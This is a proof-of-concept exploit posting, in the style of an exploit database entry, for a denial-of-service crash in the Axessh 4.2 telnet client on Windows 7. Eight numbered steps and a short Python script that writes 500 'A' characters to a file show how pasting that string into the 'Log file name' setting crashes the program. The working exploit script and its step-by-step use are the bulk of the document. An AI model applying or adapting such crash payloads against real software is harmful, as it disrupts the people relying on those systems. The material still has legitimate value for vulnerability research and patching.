Axessh 4.2 Denial Of Service

`#Exploit Title: Axessh 4.2 'Log file name' - Denial of Service (PoC)  
#Discovery by: Victor Mondragón  
#Discovery Date: 2019-05-14  
#Vendor Homepage: http://www.labf.com  
#Software Link: http://www.labf.com/download/axessh.exe  
#Tested Version: 4.2  
#Tested on: Windows 7 Service Pack 1 x32  
  
#Steps to produce the crash:  
#1.- Run python code: Axessh_4.2.py  
#2.- Open Axess.txt and copy content to clipboard  
#3.- Open Axessh.exe  
#4.- In "Telnet Connect Host" select "Details>>" > "Settings"  
#5.- Select "Logging" and enable "Log all sessions output"  
#6.- In "Log file name" paste Clipboard  
#7.- Select "OK" and in "Telnet Connect Host" select "Ok"  
#8.- Crashed  
  
cod = "\x41" * 500  
  
f = open('Axess.txt', 'w')  
f.write(cod)  
f.close()  
`